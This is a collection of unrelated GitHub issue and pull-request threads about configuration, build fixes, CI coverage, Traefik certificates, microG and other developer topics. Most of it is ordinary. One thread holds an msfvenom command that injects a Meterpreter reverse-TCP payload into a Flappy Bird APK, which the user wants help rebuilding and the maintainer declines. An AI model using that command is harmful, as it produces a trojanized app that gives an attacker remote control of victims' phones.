I usually download by parody and would like to have a .env file for each parody that includes the correct tags and download location. Being able to specify the config file from the command line would be easier.
Adding some command line options would also be good where some of the .env options are available from the command line for running in a script.

I currently have no plans to add command line capability.
Power users should use docker composes and the plan was to tell you that you could change environmental variables in the docker compose to overwrite or replace settings from your ./config/.env. Well I just found out docker-compose does not support arrays for their environmental variables and I'm pretty miffed because I don't want to introduce a breaking change yet again.
I'll probably write a patch that allows for a comma separated input in the docker-compose.yaml.

Opened issue #13 to fix the bug. This issue will be closed, because I currently don't plan to support command line capability.


add better error message when no prebuilts are available

Closes #19

@mafintosh Any objections?

No looks good!
On Thu 10 Sep 2015 at 02:04 Lars-Magnus Skog<EMAIL_ADDRESS>wrote:

@mafintosh https://github.com/mafintosh Any objections?
—
Reply to this email directly or view it on GitHub
https://github.com/mafintosh/prebuild/pull/31#issuecomment-139083787.


Use rustix instead of libc

rustix is a Rust-idiomatic interface to various system calls. Aside from being more idiomatic than normal system calls, it's claim to fame is that it bypasses libc to use direct system calls on Linux. In some cases, the system calls can be directly inlined into their calling functions.
rustix recently merged support for signal handling. It would be nice if this crate used those functions instead of libc's, in order to optimize these functions.

Hello
Does it also work on all the other platforms signal-hook supports? What is its minimal rust version? Does it also provide functions for all the rest?

Does it also work on all the other platforms signal-hook supports?

It doesn't work on Windows, but we could just keep using libc there... or, preferably, the actually underlying Win32 calls, but that's another issue.

What is its minimal rust version?

It's minimal Rust version is tied to Debian Stable; as of the time of writing, it's 1.48. This should be low enough for most realistic use cases.

Does it also provide functions for all the rest?

For now, it provides all of the functions needed to reimplement signal-hook-registry. I'm not sure if it provides things like raise for signal-hook, but we could just implement it in the registry crate first.

Sounds good (and, from discussion on Rustix, it may be a bad idea to do signal handling outside of the libc anyways).
However, it's my understanding that, in the Rust community, bumping the minimum supported Rust version corresponds with a minor version bump rather than a major one. I forget what the exact reasoning for this is, but a bump in MSRV doesn't also mean a bump in the major version.
In addition, I doubt that anyone is using rustc 1.26, a version of Rust that is almost five years old at this point. Even Debian Stable, famed for using old versions is software, uses rustc 1.48.

After discussion with the rustix maintainers, this is probably a bad idea. signal handling should be done through the libc


Sidenav Toolbar buttons are hidden but they are clicked when using fullscreen and closed sidenav

Bug, feature request, or proposal:
I'm using different pages and based on my need I'm setting the md-sidenav-layout to fullscreen mode. The issue is that the new sidebar that I use on the fullscreen page, although showing the toolbar buttons (like back arrow button) but when I click on them, they trigger the action of the button behind them.
Note that this happens when the sidenav is in collapse mode (opened = false).
What is the expected behavior?
What is the current behavior?
What are the steps to reproduce?
Providing a Plunker (or similar) is the best way to get the team to see your issue.
Plunker template: http://plnkr.co/edit/o077B6uEiiIgkC0S06dd
What is the use-case or motivation for changing an existing behavior?
Which versions of Angular, Material, OS, browsers are affected?
Is there anything else we should know?

Closing this issue as it does not follow the issue template (in providing relevant info). Please file a new issue that follows the template, which gives the team the information needed to investigate.


February 2020 Release Plan (v1.4.0)

Timeline

February 14, 2020: Code freeze
February 17, 2020 - February 21, 2020: Release Candidate(s) and testing
Feb 25, 2020: Full Release

New Changes
Our team has completed a major assessment of the ontology of our patterns, and have since come up with the following changes:

Patterns are now classified as either sections, blocks, or sub-patterns. More details around this coming soon to our website!
Reclassified a handful of components as sub-patterns:

ButtonGroup
TableOfContents
Layout
ContentGroup
CardLink

With the above, we have also decided to decommission the @carbon/ibmdotcom-patterns-react package, and have all fall under the @carbon/ibmdotcom-react package. All README files have been updated to reflect the new change, which for the most part should just be repointing the pattern imports to the new package.
Many pattern names have been renamed and restructured based on the new pattern ontology. They will still remain behind a feature flag until all has been finalized and we deem to be production ready.

Features
Patterns
Learn Page template

Table of Contents (#1064 ): Includes feature request to dynamically generate the links based on the page content.
Content block - mixed (#1263 ):  Alpha version behind a feature flag.
Content block - segmented (#1267 ):  Alpha version behind a feature flag.
Content block - simple (#1275 ):  Alpha version behind a feature flag.
Content block - with media (#1238 ):  Alpha version behind a feature flag.
Content group - simple (#1243 ):  Alpha version behind a feature flag.
Content group - with cards (#1172 ):  Alpha version behind a feature flag.
Content group - with pictograms (#1165 ):  Alpha version behind a feature flag.

Production level QA testing will be performed on the patterns listed above.  Known QA issues will be resolved in the March release.
Sub-Patterns

Content Item (#1176)
Content block (#1169 )
Content group (#1173 )
Card (#1202 ): Alpha version behind a feature flag.
Pictogram Item (#1164 ):  Alpha version behind a feature flag.

Components (React)

CTA (#1168 )

Vanilla

Masthead (#355): New look, L0/L1 navigation, search bar with typeahead, profile icon for login/logout
Dotcom Shell (#546): A UI shell structure includes Masthead and Footer providing a starting point for building an IBM.com page.

https://github.com/carbon-design-system/ibm-dotcom-library/releases/tag/v1.4.0


chore(CPlusPlus): add linear search for recursion and two dimension array

PR Checklist:

[x] My submission is formatted according to the guidelines in the contributing guide
[x] My addition is on refer on the language README.md file
[x] My addition does not have a spelling problem
[x] My submission has a proper and user-friendly description of the algorithm
[x] My submission has the time complexity of the algorithm
[x] My submission has sample input-output of the program (NOT FOR PYTHON)

What kind of change does this PR introduce? (check at least one)

[ ] Bugfix
[x] New algorithm
[ ] Optimization in previous algorithms
[ ] Code style update
[ ] Refactor
[ ] Documentation
[ ] Other, please describe:

Briefly describe the changes in this PR

Other information:

use vectors instead of arrays in both file

Hello, @Ashborn-SM
Used vectors in both the files instead of arrays. Thanks


Split ACME certificate resolvers based on environment.

The Traefik config only has one certificate resolver right now: default, and you choose between Let's Encrypt staging or production environments by setting the ACME_CA_SERVER variable in traefik/.env. This is a global setting and affects all deployments.
This PR splits ACME into two files. It removes the default certresolver and creates two new ones: staging and production, and so each deployment can choose which environment they would like their certificate created in. Traefik will store TWO acme.json files:

For production: /data/acme-production.json
For development/staging: /data/acme-staging.json

If you redeploy Traefik, in the traefik directory, with docker-compose up -d, all of your existing deployments will now have invalid certificates. You can check the traefik logs to see why:
time="2021-07-25T21:40:37Z" level=error msg="the router whoami@docker uses a non-existent resolver: default"
time="2021-07-25T21:40:37Z" level=error msg="the router piwigo@docker uses a non-existent resolver: default"

(On this server I only have deployments for whoami and piwigo.)
This is because all of the existing deployments use the default certificate resolver, which has now been removed. You need to add the ACME_CERT_RESOLVER variable to all of your deployment .env files and choose staging or production depending on whether you need a production certificate or not, and redeploy (If you do not add the variable, the service will have an invalid TRAEFIK DEFAULT CERT certificate.)
All of the example .env-dist files now have added a ACME_CERT_RESOLVER variable with the default for the staging environment. You need to copy these to any existing .env files.
If you want to retain all of your old production certificates, you will need to copy your old acme.json to the new acme-production.json file:
Enter into the shell of the container running Traefik:
docker exec -it traefik /bin/sh

Now inside the traefik container, run:
awk '/default/ && !done { gsub(/default/, "production"); done=1}; 1' /data/acme.json > /data/acme-production.json
chmod 600 /data/acme-production.json

(This will copy acme.json to acme-production.json and automatically edit the name inside from "default" to "production".)
Press Ctrl-D to exit the container.
Restart traefik again. In the traefik directory run docker-compose up -d.

So as an update... this is not entirely broken, but its kind of broken. But if you know how it works, you can still use it and you can just avoid the problems it has.
See https://github.com/traefik/traefik/issues/8311
You cannot freely switch between staging and production certresolvers anytime you want. For each domain Host rule, you have to pick the environment and stick with it. So that means you can use a given domain whoami.example.com with a staging LE certificate, but that domain has to stay on a staging LE certificate from now on (unless you want to delete or edit the acme-staging.json to remove the certificate(s) manually). If you want to use a production certificate, it has to be for a different domain name. So this just means that if you want to switch, you have to change the certresolver and the the Host router rule for the given domain name. For example, the whoami container, for development environment should use the router rule Host(whoami.test.example.com) and the staging ACME_CERT_RESOLVER, while the production environment should use a different router rule Host(whoami.example.com) and the production ACME_CERT_RESOLVER.


Installation support for windows

Add a Windows installation script.
Currently only Linux installation scripts are supported and the installation process is manual.

Solved with #4

Put this in the wiki.


Cannot open folder from command line using "code"

VSCode Version: 1.43.2
OS Version: macOS Catalina 10.15.4

Steps to Reproduce:
Run any of the following commands, replacing ~/my-project with some folder that exists on your local machine. VS Code opens a new window but does not open the specified folder in the Explorer:
# With extensions enabled
code ~/my-project
cd ~/my-project && code .

# With extensions disabled
code --disable-extensions ~/my-project
cd ~/my-project && code --disable-extensions .

Opening files still works as expected:
code ~/my-project/README.md
cd ~/my-project && code README.md

Does this issue occur when all extensions are disabled?: Yes

Rebooting my computer resolved the issue. Should have tried that the first time around. Sorry for the noise.


Remove the inline flag of ArrayBuffer helper functions

related issue #1468
Latest GCC compiler will report an error when the inline function definition is in a different source file
so we remove the inline flag
JerryScript-DCO-1.0-Signed-off-by: Zidong Jiang<EMAIL_ADDRESS>

LGTM, fixes the build error against mbedos5 target with GCC 4.9.3.

LGTM


Properly configure moveit controllers

Fix #58
The moveit_controllers.yaml is not properly setup and this was uncovered when we switched to MoveitConfigBulder.
The changes now align with the controller file for other robots.

@jodle001 could you please help to confirm if this resolves the issue?

Hi @Yadunund, it solves the issues, many thanks!

Hi @Yadunund, it solves the issues, many thanks!

Thanks for the feedback!


Install Multiple Packages Prior to Testing

This follows on from https://github.com/silverstripe-labs/silverstripe-travis-support/pull/24 which I've just closed.  It allows for extra packages to be installed prior to running tests by adding an extra parameter(s) to the command travis_setup.php command of the form:
  - php ~/travis-support/travis_setup.php --source `pwd` --target ~/builds/ss --require "ezyang/htmlpurifier:4.*,silverstripe/cms:~3.1"

or equivalently
  - php ~/travis-support/travis_setup.php --source `pwd` --target ~/builds/ss --require "ezyang/htmlpurifier:4.* --require silverstripe/cms:~3.1"

Being able to install the extra packages allows for a scenario where a module is tested both with and without an external dependency, for example a module may do different things dependent on whether Translatable is installed or not.  External services such as codecov amalgamate coverage from multiple runs, which makes 100% code coverage possible.
I've added badges to the README as per https://github.com/gordonbanderson/silverstripe-travis-support/tree/multiple_require_options but with the paths set for the main branch and repository.
Successful Travis builds with the two different formats for passing extra required packages:

Required packages as comma separated https://travis-ci.org/gordonbanderson/silverstripe-comments/jobs/102764940
Required packages as multiple --require options https://travis-ci.org/gordonbanderson/silverstripe-comments/jobs/102763780

Current coverage is 100.00%

Branch #25 has no coverage reports uploaded yet.

No diff could be generated. No reports for master found.

Powered by Codecov. Updated on successful CI builds.

I think you're officially a better developer than me now. :P

CodeCov does lie in that if a file has 0% coverage it is skipped, so in this case it's 100% of 1 PHP file out of 7 :)  I haven't investigated why, it may be a PHPUnit configuration issue.

Oh same issue regarding Scrutinizer badges https://github.com/silverstripe-labs/silverstripe-travis-support - either enable the module under the relevant account in Scrutinizer or remove the badges

Setup at https://scrutinizer-ci.com/g/silverstripe-labs/silverstripe-travis-support/

Cool, that one is working but as already mentioned that for the comments is currently not


Category: Podcasts

People fixing the world, BBC World Service
Democracy now
The Energy Transition Show
Talking Headways: stories on sustainable transportation, urban planning, and economic development
Also, do we want to link to particular episodes of more general podcasts, e.g. The Radiolab podcast that discusses wastewater treatment?

https://www.youvebeenwarmed.com/
https://open.spotify.com/show/5rt2DC1hDOsMgW3P2Uxdan
http://www.sustainababble.fish/
https://climate.mit.edu/users/tilclimate-podcast


Docker

Hi @ondrejbartas
What do you feel about adding Docker support to this project? I would gladly do it if you feel that's a good improvement

👍


Volume Mount error: name is not a valid kubernetes dns name

Component
server
Describe the bug
volumes:
  - /var/containerd/containerd.sock:/var/containerd/containerd.sock

results in an error: "name is not a valid kubernetes DNS name"
System Info
{"source":"https://github.com/woodpecker-ci/woodpecker","version":"2.3.0"}

Additional context
No response
Validations

[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Checked that the bug isn't fixed in the next version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]

I encountered this error as well, after following https://woodpecker-ci.org/docs/usage/volumes while trying to port a container build from gitlab to woodpecker. The error makes sense if the kubernetes backend is trying to create a PVC for each volume, but then how would you go about mounting existing sockets, devices, etc for building containers or using GPUs?

Found the solution, it is described in the k8s specifics.
You have to create a persistent volume and use this name as the volume name in woodpecker.


refactor(mempool): update method signature

This change is

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 83.95%. Comparing base (8c56cc4) to head (c4d0af2).
Report is 2 commits behind head on main.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #386      +/-   ##
==========================================
+ Coverage   83.85%   83.95%   +0.10%
==========================================
  Files          35       35
  Lines        1666     1664       -2
  Branches     1666     1664       -2
==========================================
  Hits         1397     1397
+ Misses        196      194       -2
  Partials       73       73

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


microG update needed for gcm client libraries 9.6.1

Signal recently updated Google Play Services client libraries from 8.1.0 to 9.6.1 (see Signal-Android:build.gradle#L54, and the specific commit that changed it: Signal-Android:f310dd60).
Ever since this change, Signal has been unable to register itself with GCM (through microG GmsCore), asking that I update Google Play Services (which of course is not possible as I am using microG).
I am using microG GmsCore version 0.2.4 (latest release) and Android 5.1 (CyanogenMod 12.1).

0.2.4-1 or 0.2.4-39?

0.2.4-1 (I believe), i.e. the download from here: https://github.com/microg/android_packages_apps_GmsCore/releases/tag/v0.2.4
Wouldn't I need to manually build GmsCore to obtain 0.2.4-39 (i.e. HEAD/master)? Is this fixed in 0.2.4-39?

0.2.4-39-ga53b32e is available via pull down at https://microg.org/download.html
I find the easiest way to install/update this is to add the repository to F-Droid using the QR Code on the same page.

I had the F-Droid repo, however it seems GmsCore is missing. Is this due to the signature spoofing (maybe F-Droid doesn't think GmsCore is GmsCore)? i.e. when I search for "microG" in F-Droid with the repo added, I see FakeStore, microG Services Framework Proxy, and ug UnifiedNlp, but no GmsCore.
I will try 0.2.4-39 from the downloads and see if it works.

It appears to work! Thanks everyone for their help. I will report back if I have any other issues. Please do still comment/reply about the F-Droid issue if you have any idea.

@icasdri For F-Droid, yes, that is because of signature spoofing. You’ll find it under ug UnifiedNlp.


Integrate with openwebui

You should probably work with open-webui to have a nice easy to use "call" like interface.

I added a quick streamlit interface for browser-based inference! PR here: #18


Modify the README about how to disable CompileOnSave

Hi,
I'm creating this pull request to modify the README.md about how to disable CompileOnSave. So you don't need to be asked by different people with a same question like me.
Cheers.

Hi @remaerd. Thank you so much!
Two minor fixes and I'll merge this.  Can you fix the spelling of automatically, and also "this feature. add" should be a comma not a period.
Thanks for the follow-up.  We're glad you find atom-typescript useful.

Thanks @nycdotnet  :rose: :rose:
@remaerd its there in the FAQ : https://github.com/TypeStrong/atom-typescript/blob/master/docs/faq.md But what you have is fine too :rose:

those two roses were intentional :)

I'm feeling the love.

Thanks @remaerd !


fix: Uploading performance metrics for multiple matrices

Fixes #1322
Test Plan

How do we know the code works?

Run flank on Android physical device. For example with configuration entry:

gcloud:
...
  device:
    - model: OnePlus6T
      version: 28
...

Run Flank with multiple matrices. Example with using option

...
flank:
  num-test-runs: 2
...

Check that performanceMetrics.json is uploaded for each matrix

Checklist

[x] Unit tested

Codecov Report

Merging #1329 (d566ac2) into master (733e444) will increase coverage by 0.10%.
The diff coverage is 94.11%.

@@             Coverage Diff              @@
##             master    #1329      +/-   ##
============================================
+ Coverage     79.61%   79.72%   +0.10%
  Complexity      735      735
============================================
  Files           237      237
  Lines          4573     4572       -1
  Branches        792      791       -1
============================================
+ Hits           3641     3645       +4
+ Misses          526      521       -5
  Partials        406      406

https://github.com/Flank/flank/pull/1329/checks?check_run_id=1414353358

Tests fixed

I followed the test plan but can't find any performanceMetrics.json
Here is my config
gcloud:
  app: /Users/gogo/testowy_pawel/app-debug.apk
  test: /Users/gogo/testowy_pawel/app-single-success-debug-androidTest.apk
flank:
    num-test-runs: 3
    output-style: single

Let me know if I am doing something wrong

I followed the test plan but can't find any performanceMetrics.json
Here is my config
gcloud:
  app: ~/app-debug.apk
  test: ~/app-single-success-debug-androidTest.apk
flank:
    num-test-runs: 3
    output-style: single

Let me know if I am doing something wrong

@pawelpasterz  you must run on physical device

I followed the test plan but can't find any performanceMetrics.json
Here is my config
gcloud:
  app: ~/app-debug.apk
  test: ~/app-single-success-debug-androidTest.apk
flank:
    num-test-runs: 3
    output-style: single

Let me know if I am doing something wrong

@pawelpasterz you must run on physical device. I have updated test plan

Thanks!

We have the option disable-results-upload. If set true we should not upload any results to the bucket. But I can see performanceMetrics.json are uploaded anyway

With disable-results-upload set to false output is rather ugly

I see some items we need to decide/discuss/fix

Are performanceMetrics.json considered to be 'the same' results as the rest of flank's results?
Let's align/beautify the output
Let's decide what we want to print actually. Currently, we just print the message Uploading [file name] do we want to stick with that? Or we can print a gcs link but on a matrix level? So every matrix will have it's own. IMO we should decide on one convention and not mix them

Of course, I can be wrong. I'd like to get your opinion.
cc
@bootstraponline @jan-gogo

I will add the flag to disable uploading if disable-results-upload present
In the case of output, I agreed that I should not add a confirmation message (with the link), because it brokes our convention, I will delete it.
I will create the task to research and think about good output printing for uploading files

[X] Tested without disable-results-upload works and output looks good
[X] Tested with disable-results-upload works as expected


feat(merchant-qr-code)

creates merchant, and returns uuid and type
also includes qr code generation and svg persistance in model

Awesome 🙌🏻


 I always forget to update the change log, so it might be nice if there was an asdf bot to yell at me in those cases. I'm not sure what kind of work is involved, though, but the astropy bot probably serves as a good example.

We now have https://github.com/spacetelescope/stsci-bot, so I think this can be closed.


Show blocks of place in GMSAutocompletePrediction

Hello,
I'm trying to modify our GMSAutocompletePrediction to show blocks like in screenshot below (Screenshot made from Grab app):

But I cannot find any info about this. And I'm not sure if this linked with GMSAutocompletePrediction
Can you please help to figure it out?

Hi @Ganyev, unfortunately block information is not provided by the API so you will need to augment the Places API to produce a result like this.

@arriolac thanks for answer,
Let me clarify one more time,
not Places API, nor Directions API are not provided with such entrances\blocks of building like in screenshot below? :

That is correct, @Ganyev. The Places API needs to be augmented with additional information from another data source to be able to produce block level information. Closing this issue.


datasets for examples not installed!

I want to use the examples, but the data is apparently not installed... I search for the data but it is not in my MAC:
import turicreate as tc
songs = tc.SFrame.read_csv("millionsong/song_data.csv")

How may I install the data?

Information about that dataset can be found here. Unfortunately, I'm not seeing a direct link to that specific file.
We are already tracking missing dataset in #97. So I'm going to close this issue as a duplicate.


Todo: Fix IE tests and find a way to stop breaking them

We keep breaking IE tests, sometimes by introducing incompatible things. Is there a better way to do consistent IE testing that's easy to run? Sauce has proven difficult (probably not a sauce issue, probably an issue with the test runner), and the current badge is extremely stale and kinda silly due to its size.

sauce is what i've had experience with but that has been with https://github.com/theintern/intern as the test runner

zuul works great. Are you using the latest version? The bug where it tests the same browser on multiple platforms was fixed a while ago.
You might be using an old version that's installed globally on your machine. zuul --version.
Also, you might consider making a separate user account for the travis build and your local testing. For example, I use feross whenever I test locally, and module-name for the travis tests. That way, when I'm testing stuff locally, the readme badge is not affected.


Removing references to the database field of the PasswordSelectors struct

The field was removed from the api definitions
of the heat-operator. Using it while patching or creating resources causes errors.
JIRA: https://issues.redhat.com/browse/OSPRH-7867

recheck


[MINOR] [WIP] Disable TestHoodieLogFormat in docker-java-17

Change Logs
DO NOT MERGE.
Trying out a few things to check if we disbale this test and does the namenode workd without interruption for other tests.
Impact
None
Risk level (write none, low medium or high below)
none
Documentation Update
Describe any necessary documentation update if there is any new feature, config, or user-facing change

The config description must be updated if new configs are added or the default value of the configs are changed
Any new feature or user-facing change requires updating the Hudi website. Please create a Jira ticket, attach the
ticket number here and follow the instruction to make
changes to the website.

Contributor's checklist

[ ] Read through contributor's guide
[ ] Change Logs and Impact were stated clearly
[ ] Adequate tests were added if applicable
[ ] CI passed

Closing in favor of #9843


rework http request exception handling

Before looking at changes on CollectorBase, I am a little bit lost on why we ended up sending a full delegate (instead of List of collection nodes as we previously discussed). Can we setup a quick meeting to discuss this PR?


Added new argument persistent

Added a new optional argument persistent to the Timeout class - it is used in case of the app crash.
It may be handy, if the app can run, for example, only from 2pm to 4pm.
After reboot, _set_timeout() method will detect start time and duration from temporary files  for which it should run and use this information instead of given.
User can always use reset() method to use new start time and duration.
Also updated README.md.
Closes #20

Each issue, which was mentioned above should be fixed in 15d342e.


Error: unable to rebuild apk with apktool

Help me,i got this error:
root@kali:~/Desktop# msfvenom -x flappybird-1.3.apk -p android/meterpreter/reverse_tcp LHOST=myip LPORT=4444 -o Flappy.apk
Using APK template: flappybird-1.3.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.dotgears.flappybird.xmrta
[] Loading /tmp/d20171021-16412-1xv31hh/original/smali/com/dotgears/flappy/SplashScreen.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding flappybird-1.3.apk with meterpreter injection as /tmp/d20171021-16412-1xv31hh/output.apk
Error: Unable to rebuild apk with apktool

@bani18 The Metasploit project is not supported here. Sorry.


[10.x] Fix: Macroable - Parent's macros get overridden by descendants

See the discussion here: #45392
Not sure that I like this approach, any ideas?

I don't think we'll really address this. It has functioned this way for years and I don't have a big appetite for diving into changing it.


callback event before-generate & document

added callback event before-generate, and updated the document (Props List & fetch example)

@asule90  Thank you so much for the commit


Public Load Balancer for worker nodes

[Enter feedback here]
Two "aro-internal-lb" are seen in the doc. I think the latter one should be "aro-public" or "aro".
In addition, in Japanese version of the doc, indexing around the explanation of the load balancer is misaligned.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8e00b226-866a-91c0-8796-280b264734f8
Version Independent ID: 09ba08c2-7cd9-cc8f-7c4d-fec7a8e1e87d
Content: Concepts - Networking diagram for Azure Red Hat on OpenShift 4
Content Source: articles/openshift/concepts-networking.md
Service: container-service
GitHub Login: @sakthi-vetrivel
Microsoft Alias: suvetriv

@hatasaki Thank you for your feedback! We will review and update as appropriate.

@hatasaki Thanks for the feedback! I have assigned the issue to content author to check and update the document as appropriate. We will update you accordingly.

@sakthi-vetrivel Can you please check and add your comments on this doc update request as applicable

Thank you for your feedback! The duplicate aro-internal-lb issue has been addressed. It seems like the alignment issue on the Japanese version of the doc is also fixed.
#please-close


Added CI Fast Example

Added Markdown
Added Tile in CI
Added Tile in All Tutorials

Harness Developer Pull Request
Thanks for helping us make the Developer Hub better. The PR will be looked at
by the maintainers.
What Type of PR is This?

[ ] Issue
[x] Feature
[ ] Maintenance/Chore

If tied to an Issue, list the Issue(s) here:

Issue(s)

House Keeping
Some items to keep track of. Screen shots of changes are optional but would help the maintainers review quicker.

[x] Tested Locally
[x] Optional Screen Shoot.
[ ]

Preview environment: https://ci.pr.harness.io/pr-198

Applied @KimberlyFields's suggestions. CC @rustd.

Preview environment: https://ci.pr.harness.io/pr-198


Rename  to

From<EMAIL_ADDRESS>on March 19, 2012 17:04:36

"recordings" better captures element's purpose of grouping recording elements.

Original issue: http://code.google.com/p/music-encoding/issues/detail?id=54

From<EMAIL_ADDRESS>on April 23, 2012 12:29:07
Should the performance module be renamed to recordings as well?

From<EMAIL_ADDRESS>on June 21, 2012 05:37:51
Labels: -Type-Enhancement -Milestone-Release2013 Type-Bug Milestone-ReleaseNext

From<EMAIL_ADDRESS>on June 22, 2012 10:55:29
Labels: -Priority-High Priority-Medium

From andrew.hankinson on June 22, 2012 10:57:37
I would agree with this change

From<EMAIL_ADDRESS>on June 22, 2012 13:38:25
Status: Started

From<EMAIL_ADDRESS>on June 27, 2012 11:19:22
This issue was closed by revision r576 .
Status: Fixed


Adding version number to .history()

It would be helpful to have version number alongside each entry in the .history() method
Use Case
similarly to delta.DeltaTable.forPath(...).history() that returns a sparkDataFrame with version number, it would be useful to have this directly in the history method.
Currently I'm using the spark history to detect the specific version number corresponding to a datetime, since version is the only argument with polars.read_delta.
If I understood delta correctly, history might not have the complete history of versions, because of retention period - but available history is probably coming from the logs in the _delta_log folder right?
Is there a better way to get version numbers and their corresponding timestamp through deltalake library?

I am facing the same issue

Looks pretty straightforward, I could look into it soon.


Fix ros2 array bug

This PR contains two fixes:

The first one fix the issue were if some ros2 array data was missing within the ros2 arrow array, the message failed: https://github.com/dora-rs/dora-autoware/discussions/9#discussioncomment-8133366
The second one is a fix of how ros2 array was only serializing the first value of an array. To fix this I looped over the length of the array. I have used ArrayRef to avoid having to clone the data each time.

This should fix https://github.com/dora-rs/dora-autoware/discussions/9#discussioncomment-8133366
This should be merged after #410

The first one fix the issue were if some ros2 array data was missing within the ros2 arrow array, the message failed:

Could you clarify what exactly failed? I checked the linked comment but I'm not sure which part is the actual issue. It would be great if we could create some minimal example that failed before and is now fixed so that we can maybe create a unit test for it.

The second one is a fix of how ros2 array was only serializing the first value of an array. To fix this I looped over the length of the array. I have used ArrayRef to avoid having to clone the data each time.

I'm not sure that this was really a bug. If the ROS2 message specifies that it expects a single value, we shouldn't write more than that. See my inline comments.

After looking into this in more detail, I think the fundamental issue is that the arrow::array::datatypes::DataType is not able to represent all ROS2 types accurately. For correct serialization of ROS2 values, it is required to differentiate uint8 fields from uint8[] fields, which are considered the same type in arrow.
We currently work around this limitation by adding additional layers of wrapping using ListArray, but this makes it very complex for users to create the the data correctly when publishing.
I think it would be better to use the parsed ROS2 message definition inside TypeInfo, instead of using array data types. This way, we know the exact ROS2 type that is required during serialization, which gives us more flexibility in what arrow types we accept. For example, we could accept both a primitive array of uint8 and VarBinary arrays as inputs for uint8[] fields. What do you think about this idea? I'll try to create a small prototype implementation to make it clearer.

I'll try to create a small prototype implementation to make it clearer.

Started a prototype implementation in https://github.com/dora-rs/dora/pull/415.


can't serve files with underscores

underscores in $URL_PATH get removed when tsws looks for the file?

Investigating this. While testing just noticed another bug with file handling, the TSWS_ROOT needs to be normalized before we start comparing it to the request path. I'll try to wrap up both of these problems today.

Fix is currently in branch issue-3, do a pull and then git checkout issue-3. It will be merged into master for v0.2 if there is no issues with it.

Working great for me. Thanks


Update react.doc.js

Attempted fix for https://github.com/facebook/flow/issues/1572. Add newline so following H2 is parsed correctly.

Doh! good catch

@facebook-github-bot shipit


When sorting Catalog Items, use localeCompare for Display Name

Here is how we are sorting category items:
https://github.com/openshift/origin-web-catalog/blob/master/src/services/catalog.service.ts#L58
Fix the display name to pass a compare fn that uses localeCompare. Unique name and kind don't necessarily need localeCompare since they're only Latin characters, but display name does.

We should also use { sensitivity: 'base' } with localeCompare rather than toLowerCase
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare
@jwforres We should start using localeCompare for display names generally in the web console. It doesn't look like lodash uses it in sortBy.

Closed with #191


model link is broken

File "infer.py", line 60, in get_model
model.load_weights('VGG_VOC0712_SSD_300x300_iter_120000.h5', by_name=True)
File "/home/ma/sparsh/anaconda3/envs/pure/lib/python3.7/site-packages/tensorflow/python/keras/engine/training.py", line 2204, in load_weights
with h5py.File(filepath, 'r') as f:
File "/home/ma/sparsh/anaconda3/envs/pure/lib/python3.7/site-packages/h5py/_hl/files.py", line 408, in init
swmr=swmr)
File "/home/ma/sparsh/anaconda3/envs/pure/lib/python3.7/site-packages/h5py/_hl/files.py", line 173, in make_fid
fid = h5f.open(name, flags, fapl=fapl)
File "h5py/_objects.pyx", line 54, in h5py._objects.with_phil.wrapper
File "h5py/_objects.pyx", line 55, in h5py._objects.with_phil.wrapper
File "h5py/h5f.pyx", line 88, in h5py.h5f.open
OSError: Unable to open file (file signature not found)

Hi,
Sorry, we don't share the file because of file size. Instead, you can download it from the Internet. The original model file is enough. And the model is a public file.


Support Reading Encrypted S3 Objects of Unknown Size

Slightly different solution to #2434

Still an open question about whether we need to change the handling of empty ORC files before and after exact file size is determined to be consistent with each other, looks good other than that.

I changed OrcReader to have a static factory that returns Optional<OrcReader>.

Is it meant to read padded files as in: https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS%235_and_PKCS%237? In such case it's possible to easily figure what is actual content length by reading last com.amazonaws.services.s3.internal.crypto.JceEncryptionConstants#SYMMETRIC_CIPHER_BLOCK_SIZE bytes from file.

@sopel39 I don't know.  @pettyjamesm wrote the commits that deal read the tail.  I dealt mostly with integrating into readers.


Example for MongoDB integration with Kanister

Change Overview

In this PR:

Added blueprint to work with upstream helm chart for backup, restore and delete operations
Updated README with steps to demonstrate mongodb data protection with Kanister

Pull request type
Please check the type of change your PR introduces:

[ ] Work in Progress
[ ] Refactoring (no functional changes, no api changes)
[ ] Trival/Minor
[ ] Bugfix
[ ] Feature
[x] Documentation

Issues

#XXX

Test Plan

[ ] Manual
[ ] Unit test
[ ] E2E

@PrasadG193 should we still merge this one?

@tdmanv We have already merged https://github.com/kanisterio/kanister/pull/274 which uses the latest version of MongoDB. This is no longer valid. Hence closing the PR


Please specify License

@timdown
I would like to use your library in a project that I'm working on. Could you please add a License to the project?

Yes please, a license would make this much more useful and clear. Here's a good website which will guide through the process in less than two minutes: choosealicense.com

Done. Sorry I haven't got round to this until now.

Yay! Thank you.


Add reentry option for periodic failure of the underlying GKE cluster during config controller creation during bootstrap setup-kcc.sh script - using standard instead of autopilot

Periodically the GKE cluster will fail to come up.  Sometimes it will still eventually complete after the 30 min timeout - other times the cluster will be stuck at 64%.
Remember to check that shieldedVM is off from a previous LZ deploy in the org
compute.requreShieldedVMs
https://github.com/GoogleCloudPlatform/pubsec-declarative-toolkit/issues/132
root_@cloudshell:~/kcc-kls/20230719/gcp-tools/scripts/bootstrap (kcc-kls-cluster)$ ./setup-kcc.sh -f pdt-kls.env

..
Waiting for operation [projects/kcc-kls-cluster/locations/northamerica-northeast1/operations/operation-1691029053375-601fb6208033c-918c34b7-3db667f0] to complete...failed.
